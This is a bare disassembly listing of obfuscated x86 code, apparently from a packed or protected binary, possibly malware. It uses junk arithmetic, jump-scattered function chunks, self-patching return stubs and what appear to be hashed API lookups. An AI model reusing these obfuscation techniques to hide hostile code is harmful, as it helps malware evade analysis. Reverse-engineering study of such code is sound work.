

sub_43A445	proc near		; DATA XREF: sub_442340-8886o

; FUNCTION CHUNK AT 00443D37 SIZE 00000010 BYTES

		push	ebx
		pushf
		push	542EE472h
		pop	ebx
		and	ebx, 14F8476h
		xor	ebx, 524B5BEBh
		and	ebx, 50B7CA28h

loc_43A45F:				; CODE XREF: sub_44CABC:loc_4464B1j
		jmp	loc_443D37
sub_43A445	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_43A464:				; CODE XREF: sub_4474D5-1038Dj
		or	ecx, 7B15E470h
		jmp	loc_43ECC6
; END OF FUNCTION CHUNK	FOR sub_4474D5

; =============== S U B	R O U T	I N E =======================================



sub_43A46F	proc near		; DATA XREF: sub_440F17+9o

arg_0		= dword	ptr  4

		pop	eax
		ror	eax, 5
		sub	eax, 0B9F6A796h
		mov	edx, [esp-4+arg_0]
		push	eax
		push	offset loc_43CE20
		jmp	nullsub_309
sub_43A46F	endp

; ---------------------------------------------------------------------------

loc_43A487:				; CODE XREF: kgbikm34:0044761Dj
		jz	loc_44D2A8

loc_43A48D:				; CODE XREF: kgbikm34:0043C731j
		jmp	nullsub_352
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C638

loc_43A492:				; CODE XREF: sub_43C638+12j
		jmp	nullsub_326
; END OF FUNCTION CHUNK	FOR sub_43C638
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440488

loc_43A497:				; CODE XREF: sub_440488-3FD5j
		jmp	loc_44E13B
; END OF FUNCTION CHUNK	FOR sub_440488
; ---------------------------------------------------------------------------
		adc	ebp, esi
		jmp	loc_44D29C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A4A3	proc near		; CODE XREF: kgbikm34:00437706j
					; sub_43AC6D:loc_43AC79j ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0043769F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00437A03 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043D228 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043E0F1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E1BF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044117F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004434E3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00447E71 SIZE 00000014 BYTES

		push	ebx
		mov	ebx, ebp
		xchg	ebx, [esp+0]
		mov	ebp, esp
		push	ecx
		push	ecx
		push	28BA0B4Bh
		pop	ecx
		jmp	loc_43E0F1
sub_43A4A3	endp

; ---------------------------------------------------------------------------

loc_43A4B8:				; CODE XREF: kgbikm34:0044E152j
		mov	ebx, 42F2FFCDh

; =============== S U B	R O U T	I N E =======================================



sub_43A4BD	proc near		; CODE XREF: kgbikm34:0044ACD0p

; FUNCTION CHUNK AT 00439FF3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EEF4 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 004450D2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00449731 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D454 SIZE 0000001A BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	byte ptr [eax],	0C3h
		mov	[ebp-4], eax
		push	1Ch
		jmp	loc_43EEF4
sub_43A4BD	endp


; =============== S U B	R O U T	I N E =======================================



sub_43A4CE	proc near		; CODE XREF: sub_443AFD-6D09p
					; sub_43E58D+1p ...
		push	offset sub_43741E
		jmp	nullsub_24
sub_43A4CE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439B82

loc_43A4D8:				; CODE XREF: sub_439B82:loc_44BC62j
		mov	ds:byte_438380,	1
		lea	eax, [ebp-14h]
		xor	edx, edx
		call	sub_4479B1
; END OF FUNCTION CHUNK	FOR sub_439B82
; START	OF FUNCTION CHUNK FOR sub_448BC4

loc_43A4E9:				; CODE XREF: sub_448BC4+Dj
		mov	eax, ds:dword_445F64
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		jmp	loc_4479AA
; END OF FUNCTION CHUNK	FOR sub_448BC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446D82

loc_43A4FB:				; CODE XREF: sub_446D82+Cj
		add	eax, 18h
		mov	[ebp-10h], eax
		jmp	loc_446A6D
; END OF FUNCTION CHUNK	FOR sub_446D82
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C638

loc_43A506:				; CODE XREF: sub_43C638:loc_449973j
		xor	eax, eax
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0
		jz	loc_4481A1
		jmp	loc_43888A
; END OF FUNCTION CHUNK	FOR sub_43C638
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_222. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43A51B:				; CODE XREF: kgbikm34:0044CB47j
		jmp	loc_4456F9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CAB5

loc_43A520:				; CODE XREF: sub_43CAB5-3C90j
		jmp	loc_439776
; END OF FUNCTION CHUNK	FOR sub_43CAB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A9D8

loc_43A525:				; CODE XREF: sub_44A9D8-122A6j
		jmp	loc_4383E5
; END OF FUNCTION CHUNK	FOR sub_44A9D8
; ---------------------------------------------------------------------------

loc_43A52A:				; CODE XREF: kgbikm34:0044138Ej
		jnz	loc_43841C
; START	OF FUNCTION CHUNK FOR sub_44905C

loc_43A530:				; CODE XREF: sub_44905C+493Ej
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_44905C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440F62

loc_43A535:				; CODE XREF: sub_440F62+Bj
		jmp	loc_44C72B
; END OF FUNCTION CHUNK	FOR sub_440F62
; ---------------------------------------------------------------------------
		sub	edi, edx
		jmp	loc_438416
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_370. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CABC

loc_43A542:				; CODE XREF: sub_44CABC+62Ej
		jmp	loc_443761
; END OF FUNCTION CHUNK	FOR sub_44CABC
; ---------------------------------------------------------------------------
		mov	eax, 469EF90Dh
		call	sub_43BF6F
		push	offset sub_44B960
		jmp	locret_43AC23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DE4C

loc_43A55B:				; CODE XREF: sub_44DE4C:loc_44875Dj
		sub	esi, 20E8550Eh
		rol	esi, 1Ah
		sub	esi, 5074B7D6h
		add	esi, 62B29697h
		jmp	loc_43ED37
; END OF FUNCTION CHUNK	FOR sub_44DE4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CFA5

loc_43A575:				; CODE XREF: sub_43CFA5:loc_444B20j
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F6h
		jz	loc_43A595
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-1Ch], 0F7h
		jnz	loc_43A0A3

loc_43A595:				; CODE XREF: sub_43CFA5-2A26j
					; kgbikm34:loc_4420C9j	...
		push	offset loc_437129
		jmp	nullsub_66
; END OF FUNCTION CHUNK	FOR sub_43CFA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444512

loc_43A59F:				; CODE XREF: sub_444512+13j
		push	0B3FAE426h
		pop	eax
		add	eax, 6BBA7060h
		or	eax, 0ACAC8852h
; END OF FUNCTION CHUNK	FOR sub_444512
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_43A5B1:				; CODE XREF: sub_449D59:loc_44A1E3j
		js	loc_44ABFF
; END OF FUNCTION CHUNK	FOR sub_449D59
; START	OF FUNCTION CHUNK FOR sub_43F524

loc_43A5B7:				; CODE XREF: sub_43DD64:loc_443A48j
					; sub_43F524+75ABj
		jmp	loc_439AE9
; END OF FUNCTION CHUNK	FOR sub_43F524
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_43DB08
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_71. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C607

loc_43A5C3:				; CODE XREF: sub_44C607-E536j
		jmp	loc_43C618
; END OF FUNCTION CHUNK	FOR sub_44C607
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447135

loc_43A5C8:				; CODE XREF: sub_447135-AE67j
		jmp	loc_44B6C9
; END OF FUNCTION CHUNK	FOR sub_447135
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_43A5CD:				; CODE XREF: sub_43D494-27F4j
		jmp	nullsub_140
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B6E1

loc_43A5D2:				; CODE XREF: sub_44B6E1-13181j
		jmp	loc_4414D1
; END OF FUNCTION CHUNK	FOR sub_44B6E1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440F99

loc_43A5D7:				; CODE XREF: sub_440F99:loc_44ABB1j
		mov	eax, 462C961Fh
		call	sub_446A0F

loc_43A5E1:				; CODE XREF: kgbikm34:0044C0BCj
		jmp	loc_440019
; END OF FUNCTION CHUNK	FOR sub_440F99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F524

loc_43A5E6:				; CODE XREF: sub_43F524+F6j
		xor	eax, 0ED6F1FFAh
		cmp	eax, 0A395C997h
		jmp	loc_4492CB
; END OF FUNCTION CHUNK	FOR sub_43F524

; =============== S U B	R O U T	I N E =======================================



sub_43A5F7	proc near		; CODE XREF: kgbikm34:004441A1p
					; kgbikm34:00445556j

; FUNCTION CHUNK AT 0043BCB9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00443F72 SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	[edi], eax
		pop	edi
		jmp	loc_43BCB9
sub_43A5F7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		sub	edx, 38C6C14Eh
		or	ebp, 90E1AB44h
		jmp	sub_44656B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_314. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437B11

loc_43A615:				; CODE XREF: sub_437B11+1157Ej
		jmp	nullsub_111
; END OF FUNCTION CHUNK	FOR sub_437B11
; ---------------------------------------------------------------------------
		adc	ecx, edi
		adc	ebx, 0F24A2035h
		jmp	sub_441E1C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_169. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D71B

loc_43A628:				; CODE XREF: sub_44D71B-C57Ej
		jmp	nullsub_248
; END OF FUNCTION CHUNK	FOR sub_44D71B
; ---------------------------------------------------------------------------
		adc	ecx, 0C3C25D8Eh
		jmp	loc_444890
; ---------------------------------------------------------------------------

loc_43A638:				; DATA XREF: sub_43D494:loc_43AC9Bo
		pop	edx
		mov	eax, [esp]
		push	edi
		mov	edi, edx
		xchg	edi, [esp]
		jmp	loc_442680
; ---------------------------------------------------------------------------

loc_43A647:				; CODE XREF: kgbikm34:0044AD9Cj
		or	ebp, ebx
		test	ebp, 0F1D6995h
		jmp	loc_4375DF
; ---------------------------------------------------------------------------
		sbb	ebp, 0B0377E84h
		jmp	loc_43A9E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442340

loc_43A65F:				; CODE XREF: sub_442340-8ED7j
		mov	ebp, edi
		cmp	ebp, ecx
		jmp	loc_43997D
; END OF FUNCTION CHUNK	FOR sub_442340
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441819

loc_43A668:				; CODE XREF: sub_441819-1293j
		push	0E92B6CE6h
		pop	esi
		rol	esi, 1Ah
		and	esi, 7A7E5F5Eh
		jmp	loc_445FDB
; END OF FUNCTION CHUNK	FOR sub_441819
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44739D

loc_43A67C:				; CODE XREF: sub_44739D:loc_4475AEj
		mov	[ebp+var_C], ecx
		mov	[ebp+var_6], dx
		mov	[ebp+var_4], eax
		xor	eax, eax
		mov	[ebp+var_10], eax
		cmp	[ebp+var_4], 0
		jz	loc_43D734
		jmp	loc_444258
; END OF FUNCTION CHUNK	FOR sub_44739D
; ---------------------------------------------------------------------------

loc_43A69A:				; CODE XREF: kgbikm34:loc_44935Cj
		call	sub_43C7C6
		jmp	locret_440376
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439609

loc_43A6A4:				; CODE XREF: sub_439609+3E0Ej
		ror	eax, 4
		add	eax, 35EFF5C8h
		ror	eax, 1Ah
		mov	edx, [esp-8+arg_4]
		push	eax
		jmp	loc_43AA02
; END OF FUNCTION CHUNK	FOR sub_439609
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C56B

loc_43A6B9:				; CODE XREF: sub_43C56B:loc_43788Bj
		xchg	eax, [esp+8+var_8]
		mov	edi, eax
		pop	eax
		rol	edi, 1Ch
		jmp	loc_4484A7
; END OF FUNCTION CHUNK	FOR sub_43C56B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43A6C7	proc near		; CODE XREF: sub_441819:loc_442F46p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00439A42 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043AF04 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0043CA2F SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00441578 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004427D8 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00444349 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444F80 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00446765 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004482CE SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044A48D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044BDA4 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	eax
		mov	eax, ecx
		xchg	eax, [esp+0]
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_43C5C4
		jmp	loc_4427D8
sub_43A6C7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43A6DE:				; CODE XREF: kgbikm34:00443575j
		ror	ecx, 0Ah

loc_43A6E1:				; CODE XREF: kgbikm34:00443558j
					; kgbikm34:loc_44BCBDj
		call	sub_44903A

loc_43A6E6:				; CODE XREF: kgbikm34:00439F85j
		not	edi

loc_43A6E8:				; CODE XREF: kgbikm34:loc_44BEDDj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_4438CF
		jmp	loc_43CCB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442A46

loc_43A6F9:				; CODE XREF: sub_442A46+15j
		call	sub_44A9D8
		mov	edx, 0B9726E5Ah
		call	sub_441CC2
		xchg	edx, edi
		jmp	loc_445DFA
; END OF FUNCTION CHUNK	FOR sub_442A46
; ---------------------------------------------------------------------------
		pop	edi

loc_43A710:				; CODE XREF: kgbikm34:004420A2j
		test	esi, 7C10C575h
		jmp	loc_440CD0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4441EB

loc_43A71B:				; CODE XREF: sub_4441EB:loc_44920Dj
		sbb	edi, 21CCB4A5h
		xor	edi, esi
		adc	ebx, 60DEFBC2h
		sbb	ebx, 0A9D6C3ABh
		jmp	loc_448507
; END OF FUNCTION CHUNK	FOR sub_4441EB
; ---------------------------------------------------------------------------

loc_43A734:				; CODE XREF: kgbikm34:loc_4425C8j
		jz	loc_43C0A6
		jmp	loc_44064F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447E85

loc_43A73F:				; CODE XREF: sub_447E85-1065Dj
		ja	loc_449194
		test	edx, ebx
		jmp	loc_448728
; END OF FUNCTION CHUNK	FOR sub_447E85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440AAA

loc_43A74C:				; CODE XREF: sub_440AAA:loc_440ABBj
					; kgbikm34:0044E180j
		rol	edx, 7
		xor	edx, 13673E2Ch
		sub	edx, 0EFB6540Ch
		push	offset loc_4483E4
		jmp	nullsub_42
; END OF FUNCTION CHUNK	FOR sub_440AAA
; ---------------------------------------------------------------------------
		push	3CBAD9F9h
		xchg	esi, [esp]
		mov	edx, esi
		pop	esi
		rol	edx, 15h
		test	edx, 80000000h
		jmp	loc_43D3C2

; =============== S U B	R O U T	I N E =======================================



sub_43A77E	proc near		; CODE XREF: sub_449F77:loc_43DC68p
					; kgbikm34:00444507j
		xchg	edi, [esp+0]
		pop	edi

loc_43A782:				; CODE XREF: sub_43D4E9+1495j
		add	edx, 508D0181h
		mov	[edx], eax
		pop	edx
		jmp	loc_43F02A
sub_43A77E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	eax, 0D504D785h
		call	sub_43BF6F
		push	edx
		mov	edx, ebx
		xchg	edx, [esp]
		push	4C5948Eh
		jmp	loc_44A858
; ---------------------------------------------------------------------------
		shr	esi, 1
		pop	edi
		jmp	sub_444A23
; ---------------------------------------------------------------------------
		jnz	loc_43E10C
		jb	sub_442A46
		mov	[esi], edx
		popf
		jmp	loc_44CF5D
; ---------------------------------------------------------------------------

loc_43A7C6:				; DATA XREF: kgbikm34:0043905Bo
		xor	eax, 52F056F5h
		call	sub_43BF6F
		mov	ds:dword_41E160, eax
		lea	eax, nullsub_340
		jmp	loc_44C826
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D1AB

loc_43A7E2:				; CODE XREF: sub_43D1AB+Fj
		add	eax, 68B92250h
		or	eax, 565A6F82h
		xor	eax, 0D8F08365h
		and	eax, 7310A70Ch
		add	eax, 84C22F6Ch
		call	sub_43BF6F
		mov	ds:off_41E050, eax
		push	offset sub_448647
		jmp	sub_4375CF
; END OF FUNCTION CHUNK	FOR sub_43D1AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444267

loc_43A815:				; CODE XREF: sub_444267:loc_4485A7j
		rol	ecx, 5
		add	ecx, 0ECA8FC28h
		push	offset sub_438CE9
		jmp	nullsub_362
; END OF FUNCTION CHUNK	FOR sub_444267
; ---------------------------------------------------------------------------

loc_43A828:				; CODE XREF: kgbikm34:0044298Cj
		pop	ecx
		xchg	ecx, [esp]
		call	sub_43E4C0
		or	eax, eax
		jmp	loc_443BF5
; ---------------------------------------------------------------------------

loc_43A838:				; DATA XREF: sub_43E608+Ao
		mov	eax, edx
		nop
		mov	eax, [esp]
		push	edx
		mov	edx, eax
		xchg	edx, [esp]
		push	78B61F8Ah
		pop	eax
		jmp	loc_43CCAF
; ---------------------------------------------------------------------------

loc_43A84F:				; DATA XREF: kgbikm34:loc_444C5Eo
		mov	eax, [esp]
		push	edx
		call	sub_43F3F8
		mov	eax, 3C248B30h
		call	sub_43BF6F
		jmp	loc_44B9F1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43741E

loc_43A867:				; CODE XREF: sub_43741E:loc_44007Cj
		jnz	loc_445C01
		jmp	loc_44C297
; END OF FUNCTION CHUNK	FOR sub_43741E
; ---------------------------------------------------------------------------

loc_43A872:				; DATA XREF: sub_4400D1+BBA5o
		xor	eax, 39339ABDh
		push	offset sub_43F145
		jmp	locret_43AA07
; ---------------------------------------------------------------------------
		cmp	ecx, 1EE4791Ch
		jmp	loc_449D72
; ---------------------------------------------------------------------------
		db 16h,	46h, 0DCh
		dd 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440141

loc_43A894:				; CODE XREF: sub_440141-87A9j
		jmp	loc_439743
; END OF FUNCTION CHUNK	FOR sub_440141
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4372E5

loc_43A899:				; CODE XREF: sub_4372E5+14j
		jmp	loc_44D0D1
; END OF FUNCTION CHUNK	FOR sub_4372E5
; ---------------------------------------------------------------------------
		dw 0FE23h
dword_43A8A0	dd 0			; DATA XREF: sub_4424F7:loc_43B801r
					; sub_4424F7r ...
dword_43A8A4	dd 39596E5Dh, 19E291CCh, 0EF00C6D8h ; DATA XREF: kgbikm34:loc_43D61Do
dword_43A8B0	dd 0			; DATA XREF: sub_442340-807Do
; ---------------------------------------------------------------------------

loc_43A8B4:				; CODE XREF: kgbikm34:0044DEDDj
		jmp	loc_44480F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471D6

loc_43A8B9:				; CODE XREF: sub_4471D6+1E41j
		jmp	loc_4392BC
; END OF FUNCTION CHUNK	FOR sub_4471D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4431B6

loc_43A8BE:				; CODE XREF: sub_4431B6+Bj
		jmp	loc_44AFCA
; END OF FUNCTION CHUNK	FOR sub_4431B6
; ---------------------------------------------------------------------------
		db 0D7h
dword_43A8C4	dd 153940h		; DATA XREF: sub_442340-6EA0r
					; kgbikm34:00444718r ...
; ---------------------------------------------------------------------------

loc_43A8C8:				; CODE XREF: kgbikm34:0044CEE5j
		jmp	loc_449973
; ---------------------------------------------------------------------------

loc_43A8CD:				; CODE XREF: kgbikm34:00446556j
		jmp	nullsub_349
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D33D

loc_43A8D2:				; CODE XREF: sub_43D33D+3j
		jmp	sub_44B64C
; END OF FUNCTION CHUNK	FOR sub_43D33D
; ---------------------------------------------------------------------------
		db 0Ch
dword_43A8D8	dd 0			; DATA XREF: sub_4433D8:loc_444DD8r
					; sub_43FC25+5C49r ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C267

loc_43A8DC:				; CODE XREF: sub_43C267+615Ej
		sub	eax, 8D935E55h
		and	eax, 0DA4015A6h

loc_43A8E8:				; CODE XREF: kgbikm34:0043ACC6j
		rol	eax, 16h
		add	eax, 0DF1F8756h
		jmp	loc_43D9AE
; END OF FUNCTION CHUNK	FOR sub_43C267
; ---------------------------------------------------------------------------

loc_43A8F6:				; DATA XREF: sub_43EE64:loc_449E71o
		mov	eax, 1
		jmp	loc_43EE54
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	[edi+28h], edx
		add	[eax], eax
; START	OF FUNCTION CHUNK FOR sub_4418C2

loc_43A906:				; CODE XREF: sub_4418C2-C39j
		lea	eax, nullsub_5
		mov	byte ptr [eax],	0C3h
		call	sub_44A9D8
		push	offset sub_44AED5
		jmp	loc_4441AB
; END OF FUNCTION CHUNK	FOR sub_4418C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B18D

loc_43A91E:				; CODE XREF: sub_44B18D-10DFFj
		rol	ebx, 1

loc_43A920:				; CODE XREF: sub_44B18D:loc_447219j
		mov	eax, 0BB0E1C2h
		push	edi
		push	offset loc_43873D
		jmp	nullsub_306
; END OF FUNCTION CHUNK	FOR sub_44B18D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CAB5

loc_43A930:				; CODE XREF: kgbikm34:004404D7j
					; sub_43CAB5:loc_441932j
		add	edi, 0E57FF992h
		sub	eax, edi
		pop	edi
		xor	eax, 4677F38Fh
		rol	eax, 3

loc_43A942:				; CODE XREF: sub_445186:loc_44E0F2j
		sub	eax, 690B051Fh
		jmp	loc_440225
; END OF FUNCTION CHUNK	FOR sub_43CAB5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_147. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C95

loc_43A94E:				; CODE XREF: sub_448C95:loc_43865Ej
					; sub_43F039+5727j
		jmp	loc_43CE89
; END OF FUNCTION CHUNK	FOR sub_448C95
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp]
		ror	eax, 12h
		jmp	loc_440576
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCD5

loc_43A961:				; CODE XREF: sub_44BCD5+13j
		xchg	edx, [esp+0]
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_44BCD5
; ---------------------------------------------------------------------------

loc_43A969:				; CODE XREF: kgbikm34:00444CD5j
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_4
; ---------------------------------------------------------------------------
		push	esi
		mov	esi, edx
		xchg	esi, [esp]
		push	39295AE7h
		jmp	loc_4496EE
; ---------------------------------------------------------------------------

loc_43A981:				; CODE XREF: kgbikm34:loc_4459ADj
					; DATA XREF: sub_4437D8+21CBo
		call	sub_43B051
		mov	[ebp-0Ch], eax
		mov	word ptr [ebp-6], 0FFFFh
		jmp	loc_449B59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DFA4

loc_43A994:				; CODE XREF: sub_43DFA4+Aj
		mov	eax, [ebp-24h]
		mov	al, [eax]
		push	0F2093DD4h
		pop	edx
		sub	edx, 0BB0F1EBDh
		jmp	loc_44D003
; END OF FUNCTION CHUNK	FOR sub_43DFA4

; =============== S U B	R O U T	I N E =======================================



sub_43A9AA	proc near		; DATA XREF: sub_440F78-3410o

; FUNCTION CHUNK AT 0043951C SIZE 00000005 BYTES

		push	edx
		call	sub_44824C
		mov	eax, 729645CDh
		push	ecx
		push	5C76FFA7h
		pop	ecx
		and	ecx, 0B22DB55Bh
		push	offset loc_449BAD
		jmp	loc_43951C
sub_43A9AA	endp

; ---------------------------------------------------------------------------

loc_43A9CC:				; CODE XREF: kgbikm34:loc_43DAE0j
		lea	eax, nullsub_320
		mov	byte ptr [eax],	0C3h
		jmp	loc_43AF83
; ---------------------------------------------------------------------------

loc_43A9DA:				; CODE XREF: kgbikm34:0044AFF5j
		mov	eax, [esp]
		push	offset loc_43AC0D
		jmp	loc_443529
; ---------------------------------------------------------------------------

loc_43A9E7:				; CODE XREF: kgbikm34:0043A65Aj
		xchg	ebx, edx

; =============== S U B	R O U T	I N E =======================================



sub_43A9E9	proc near		; CODE XREF: sub_437429+15p

; FUNCTION CHUNK AT 0043CE5C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044B3A3 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		rol	eax, 14h
		add	eax, 5D5B5FEEh
		xor	eax, 0ABB52998h
		jmp	loc_44B3A3
sub_43A9E9	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_334. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439609

loc_43AA02:				; CODE XREF: sub_439609+10ABj
		jmp	loc_44E005
; END OF FUNCTION CHUNK	FOR sub_439609
; ---------------------------------------------------------------------------

locret_43AA07:				; CODE XREF: kgbikm34:0043A87Dj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0B7

loc_43AA08:				; CODE XREF: sub_43B0B7+13058j
		jmp	nullsub_287
; END OF FUNCTION CHUNK	FOR sub_43B0B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444BCC

loc_43AA0D:				; CODE XREF: sub_444BCC-D207j
		jmp	nullsub_159
; END OF FUNCTION CHUNK	FOR sub_444BCC
; ---------------------------------------------------------------------------

loc_43AA12:				; CODE XREF: kgbikm34:loc_44D248j
		jns	loc_446932

loc_43AA18:				; CODE XREF: kgbikm34:0044B1E3j
		jmp	locret_442BE5
; ---------------------------------------------------------------------------
		jmp	loc_43BBB9
; ---------------------------------------------------------------------------
		mov	ecx, ebp
		mov	ecx, [edi]
		or	ecx, 0D5FDF8F5h
		jmp	loc_446931
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E58D

loc_43AA31:				; CODE XREF: sub_43E58D:loc_445A3Cj
		test	edx, 200000h
		jmp	loc_445952
; END OF FUNCTION CHUNK	FOR sub_43E58D
; ---------------------------------------------------------------------------

loc_43AA3C:				; CODE XREF: kgbikm34:00445221j
		sbb	edi, 108F170h
		test	esi, 0A7E1E189h
		jmp	loc_4488F4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_178. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jnp	loc_448AB3
; START	OF FUNCTION CHUNK FOR sub_440488

loc_43AA54:				; CODE XREF: sub_440488:loc_44E13Bj
		jmp	sub_44B558
; END OF FUNCTION CHUNK	FOR sub_440488
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F039

loc_43AA59:				; CODE XREF: sub_43F039:loc_43E9E5j
		jge	loc_445E2F

loc_43AA5F:				; CODE XREF: kgbikm34:0044C974j
		jmp	loc_440938
; END OF FUNCTION CHUNK	FOR sub_43F039
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439624

loc_43AA64:				; CODE XREF: sub_439624+8E9Dj
		jmp	loc_445A5C
; END OF FUNCTION CHUNK	FOR sub_439624
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_439A1A
